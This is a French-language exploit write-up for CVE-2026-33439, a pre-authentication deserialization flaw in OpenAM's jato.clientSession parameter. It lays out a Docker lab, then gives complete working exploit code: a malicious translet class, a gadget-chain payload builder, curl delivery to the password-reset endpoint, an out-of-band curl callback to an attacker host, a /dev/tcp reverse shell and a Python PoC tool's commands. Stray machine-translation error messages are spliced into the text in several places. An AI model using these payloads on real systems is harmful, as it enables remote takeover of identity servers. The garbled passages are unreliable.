
Première implémentation d'exploit partagée publiquement pour CVE-2026-33439 (RCE OpenAM avant authentification via la déserialisation de jato.clientSession).
Analyse humaine + analyse assistée par IA + rétro-ingénierie + avis → exploit
Première implémentation d'exploit partagée publiquement pour CVE-2026-33439
Vulnérabilité de désérialisation Java non authentifiée dans ForgeRock OpenAM permettant une exécution de code à distance complète via des objets de session JATO façonnés. La même rivière coule deux fois : ils ont corrigé jato.pageSession (CVE-2021-35464) et oublié jato.clientSession (CVE-2026-33439). Une chaîne de gadgets de désérialisation ne demande pas d'identifiants.
CVE-2026-33439 est une vulnérabilité d'exécution de code à distance pré-authentification dans OpenIdentityPlatform OpenAM (versions antérieures à 16.0.6). La vulnérabilité provient d'une désérialisation Java non sécurisée du paramètre HTTP jato.clientSession dans ClientSession.deserializeAttributes(), qui appelle Encoder.deserialize() → ApplicationObjectInputStream.readObject() sans liste blanche de classes appliquée.
Un attaquant non authentifié envoie une requête HTTP GET ou POST façonnée contenant un objet Java sérialisé à n'importe quel point de terminaison JATO ViewBean dont le JSP rend les balises <jato:form>. À la réception, le serveur désérialise l'objet sans validation, déclenchant une chaîne de gadgets entièrement construite à partir de classes groupées dans le WAR OpenAM - aucune bibliothèque externe requise - et exécute des commandes OS arbitraires en tant qu'utilisateur du processus applicatif.
Vecteur CVSS 4.0 : AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critique
Vecteur CVSS 3.1 : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critique
Cette vulnérabilité est une régression directe du correctif incomplet appliqué après CVE-2021-35464.
CVE-2021-35464 (ForgeRock AM / OpenAM) : RCE pré-authentification via désérialisation non sécurisée du paramètre jato.pageSession. Largement exploitée dans la nature ; inscrite sur la liste KEV de la CISA. Le correctif a introduit WhitelistObjectInputStream dans ConsoleViewBeanBase.deserializePageAttributes() - une sous-classe personnalisée d'ObjectInputStream qui vérifie chaque nom de classe par rapport à une liste blanche codée en dur d'environ 40 classes sûres avant de l'instancier.
CVE-2026-33439 (OpenAM ≤ 16.0.5) : Le correctif n'a été appliqué qu'à jato.pageSession. Le paramètre jato.clientSession - géré par un chemin de code complètement séparé dans ClientSession.deserializeAttributes() - n'a jamais été corrigé et utilise toujours Encoder.deserialize() → ApplicationObjectInputStream non filtré, qui appelle ObjectInputStream.readObject() sans liste blanche de classes.
La primitive d'attaque est la même. Le puits de désérialisation est différent. Seul le nom du paramètre a changé.
JATO sérialise l'état de la vue UI dans des paramètres HTTP nommés jato.pageSession et jato.clientSession. Lorsqu'une requête arrive, OpenAM désérialise ces paramètres pour restaurer l'état de l'UI avant de rendre la réponse. Les deux paramètres suivent des chemins de code entièrement différents.
Le chemin de code corrigé (post-CVE-2021-35464) pour jato.pageSession :```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
Le chemin de code non corrigé pour jato.clientSession (vulnérable) :```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() construit un simple ApplicationObjectInputStream — une sous-classe de ObjectInputStream sans filtrage de classes. Toute classe présente sur le classpath de la JVM peut être instanciée. La désérialisation est déclenchée lors du rendu JSP chaque fois qu'une balise < jato:form > est rendue :``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***Versions concernées***
| Produit | Vulnérable | Corrigé |
|--------------------------------|--------------------------------------------------|---------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (downstream) | Potentiellement concerné selon la lignée de correctifs | - |
---
<div id="vulnerability_attacksurface"/>
### ***Surface d'attaque***
Tout endpoint JATO ViewBean dont le JSP contient une balise *< jato:form >* est exploitable sans authentification :
| Endpoint | Objectif |
|---------------------------|---------------------------------------|
| /ui/PWResetUserValidation | Réinitialisation du mot de passe – saisie de l'identité utilisateur |
| /ui/PWResetQuestion | Réinitialisation du mot de passe – questions de sécurité |
Les endpoints de réinitialisation de mot de passe sont la cible principale : ils sont accessibles publiquement par conception et garantis de rendre des balises *< jato:form >*.
---
---
---
<div id="gadgetchain"/>
## ***⚙️ La chaîne de gadgets***
<div id="gadgetchain_deserialization101"/>
### ***Désérialisation Java 101***
Quand Java désérialise un objet depuis un flux d'octets, il appelle readObject() sur chaque classe qu'il reconstruit, y compris les objets imbriqués. Si un attaquant contrôle le flux d'octets et injecte un objet dont readObject() déclenche une chaîne d'appels de méthodes aboutissant à l'exécution de code, il dispose d'un RCE par chaîne de gadgets.
Le point clé de CVE-2026-33439 : la chaîne de gadgets ne nécessite aucune bibliothèque externe. Chaque classe de la chaîne est incluse directement dans le WAR OpenAM lui-même : `openam-core-16.0.5.jar, xalan-2.7.3.jar, et click-nodeps-2.3.0.jar`. <u>Cela rend la vulnérabilité exploitable sur tout déploiement OpenAM par défaut.</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
C'est le détail critique qui rend l'exploitation possible. La classe `Encoder` dans `jato-shaded-16.0.5.jar` utilise l'encodeur/décodeur base64 URL-safe de Java – pas le base64 standard, et pas un schéma de substitution de caractères personnalisé.
Vérifié en décompilant Encoder.class :```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
I received no input text to translate. The chunk appears to be empty. Please provide the content for chunk 9 of 73, and I’ll translate it into French.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
Le base64 sûr pour les URL utilise '-' au lieu de '+' et '_' au lieu de '/', sans caractère de remplissage '='. Le codage correct est :```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
Toute autre encapsulation, y compris la base64 standard ou la substitution manuelle de caractères, fera que decodeHttp64() lèvera une exception ou produira des octets corrompus, interrompant silencieusement la désérialisation sans erreur dans la réponse HTTP.
La chaîne complète, utilisant uniquement des classes issues du WAR OpenAM :``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
Le contenu du chunk à traduire est vide (aucun texte Markdown n'a été fourni après « INPUT: »). Merci de fournir le contenu réel du chunk 15 pour que je puisse le traduire en français.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
Critical detail: « Column$ColumnComparator.compare() » appelle « column.getTable().isSortedAscending() » avant d'appeler « getProperty() ». Si « getTable() » renvoie null, la chaîne s'interrompt avec une « NullPointerException » avant d'atteindre « TemplatesImpl ». Un objet « Table » doit être associé à la « Column » via « column.setTable(table) » avant la sérialisation.
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| Conteneur | Image | Rôle |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Cible vulnérable |
| cve_2026_33439_attacker | debian:bookworm-slim | Machine d'attaque |
> Le lab utilise le WAR officiel OpenAM 16.0.5 déployé sur Tomcat 10.1.52 avec Java 21 - l'environnement exact décrit dans l'avis de sécurité GitHub.
---
<div id="lab_setup"/>
### ***Configuration***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**Étape 1 - Télécharger le WAR officiel OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
Étape 2 - Démarrer les conteneurs```powershell docker compose up -d
**Étape 3 - Configurer OpenAM depuis le navigateur**
Accédez à "http://localhost:8080/openam", cliquez sur "Create Default Configuration" puis définissez :
| Field | Value |
|---------------------------------|---------------|
| Default User Password (amadmin) | Lab@dm1n2026! |
| Agent Password | secret12 |
Attendez environ 2 minutes pour que la configuration soit terminée.
**Étape 4 - Vérifier que la réinitialisation du mot de passe est activée**
Connectez-vous en tant qu'amadmin → Configure → Global Services → Password Reset → activez la bascule → Save Changes.
**Étape 5 - Identifier les points de terminaison JSP exploitables**
Recherchez tous les JSP du WAR qui contiennent des balises *< jato:form >* ; ce sont les points de terminaison où la désérialisation de jato.clientSession est déclenchée :```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
Inspectez le code source JSP pour comprendre pourquoi jato.clientSession peut ne pas apparaître dans le HTML rendu. La balise <jato:form> est enveloppée dans <jato:content name="resetPage">, qui n'est rendu que lorsque le ViewBean active ce bloc. Cependant, <jato:useViewBean> en haut du JSP instancie toujours le ViewBean et traite jato.clientSession avant de décider quels blocs rendre — la désérialisation se produit à ce stade, quoi qu'il en soit :```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
No input content was provided to translate. Please resend the chunk text.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%>
<jato:content name="resetPage">
<jato:form name="PWResetUserValidation" method="post">
<%-- jato.clientSession hidden field appears here --%>
</jato:form>
</jato:content>
</jato:useViewBean>
Étape 6 - Vérifier que l'endpoint est accessible avant l'authentification```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
---
<div id="lab_access"/>
### ***Accès***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash
Démontage:```powershell
docker compose down
docker compose down -v
---
---
---
<div id="exploitation"/>
## ***💣 Exploitation***
<div id="exploitation_prerequisites"/>
### ***Prérequis***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>
| Exigence | Notes |
|------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac) | Doit correspondre à la version JVM exécutant OpenAM. Le JRE seul ne suffit pas, javac est requis pour compiler EvilTranslet et PayloadBuilder |
| openam-core-16.0.5.jar | Copié depuis le conteneur OpenAM - contient Column, Column$ColumnComparator, PropertyUtils |
| xalan-2.7.3.jar | Copié depuis le conteneur OpenAM - contient TemplatesImpl, TransformerFactoryImpl |
| serializer-2.7.3.jar | Copié depuis le conteneur OpenAM - contient SerializationHandler utilisé par EvilTranslet |
| click-nodeps-2.3.0.jar | Copié depuis le conteneur OpenAM - contient Table (requis par Column$ColumnComparator) |
| click-extras-2.3.0.jar | Copié depuis le conteneur OpenAM - dépendance transitive de click-nodeps |
| jato-shaded-16.0.5.jar | Copié depuis le conteneur OpenAM - contient Encoder avec decodeHttp64 |
| servlet-api.jar | Copié depuis Tomcat lib/ - Jakarta Servlet API requise pour la sérialisation de Table |
| Python 3.8+ | Pour le script PoC |
| requests | pip install requests |
---
<div id="exploitation_discovery"/>
### ***Découverte et Reconnaissance***
**Étape 1 - Confirmer qu'OpenAM est en cours d'exécution et identifier la version**```
http://localhost:8080/openam/ccversion/Version
Étape 2 - Sonder les points de terminaison JATO ViewBean```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
**Étape 3 - Confirmer que jato.clientSession est traité**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
La réponse contiendra "jato.defaultCommand" et "jato.pageSession", mais pas "jato.clientSession" dans le HTML rendu ; c'est un comportement attendu. Le champ "jato.clientSession" n'apparaît qu'à l'intérieur de < jato:content name="resetPage" >, ce qui nécessite que le ViewBean active ce bloc. Cependant, < jato:useViewBean > instancie toujours le ViewBean et traite "jato.clientSession" avant de décider quels blocs rendre. La désérialisation est déclenchée au moment de l'instanciation, que le champ apparaisse ou non dans le HTML final. La présence de "jato.pageSession" dans la réponse confirme que la sérialisation JATO est active sur ce point de terminaison et que "jato.clientSession" sera désérialisé à la prochaine requête.
Avant de construire l'exploit, l'encodage utilisé par "Encoder.decodeHttp64()" doit être vérifié en décompilant le JAR JATO. Cette étape est essentielle : utiliser le mauvais encodage provoque un échec silencieux de la désérialisation.
Étape 1 - Copier tous les JAR requis depuis OpenAM vers l'espace de travail de l'attaquant
Depuis PowerShell sur l'hôte :```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/
**Étape 2 - Décompiler l'encodeur pour vérifier la méthode de décodage**
Depuis l'intérieur du conteneur de l'attaquant :```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
Sortie attendue confirmant le base64 URL-safe :``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
**Étape 3 - Décompiler Column$ColumnComparator pour vérifier le chemin de la chaîne de gadgets**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
Ceci confirme que Column.getTable() doit retourner un objet Table non nul, sinon compare() lève une NullPointerException avant d'atteindre getProperty() → TemplatesImpl.
Toutes les commandes depuis l'intérieur du conteneur de l'attaquant.
Étape 1 - Définir le classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
**Étape 2 - Écrire et compiler EvilTranslet.java**
EvilTranslet étend AbstractTranslet (requis par TemplatesImpl) et exécute la commande dans l'initialiseur statique, qui s'exécute automatiquement lors de newInstance().```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
javac -cp $CP /work/EvilTranslet.java
Étape 3 - Écrire et compiler PayloadBuilder.java
PayloadBuilder construit la chaîne de gadgets et génère le payload sérialisé encodé en base64 URL-safe.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
} EOF
javac -cp $CP /work/PayloadBuilder.java
**Étape 4 - Générer le payload**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64
Confirmez la RCE avec un rappel HTTP hors bande
Terminal 1 - Écouteur :``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
Terminal 2 - Générer et envoyer le payload de callback :```
docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Si RCE fonctionne, le Terminal 1 reçoit une connexion HTTP entrante depuis le serveur OpenAM :``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /
**Écrire un artefact de fichier**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Vérifier depuis PowerShell :``` docker exec cve_2026_33439_openam ls -la /tmp/pwned
**Shell inversé**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>
Terminal 1 - Écouteur:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
Terminal 2 - Livraison:``` docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
---
<div id="exploitation_poc"/>
### ***Utilisation de l'outil PoC***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>
Le script Python automatise toute la chaîne : compile EvilTranslet, construit la chaîne de gadgets via PayloadBuilder, encode en base64 URL-safe, puis l'envoie.```bash
# Copy JARs to the exploit directory first
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
Entrée de la National Vulnerability Database pour CVE-2026-33439.
Avis officiel avec analyse de la cause racine, code affecté et détails de la chaîne de gadgets.
La vulnérabilité ancestrale qui a introduit WhitelistObjectInputStream pour jato.pageSession.
Recherche originale sur CVE-2021-35464 couvrant le mécanisme de désérialisation JATO.
Entrée MITRE CWE décrivant la classe de vulnérabilité.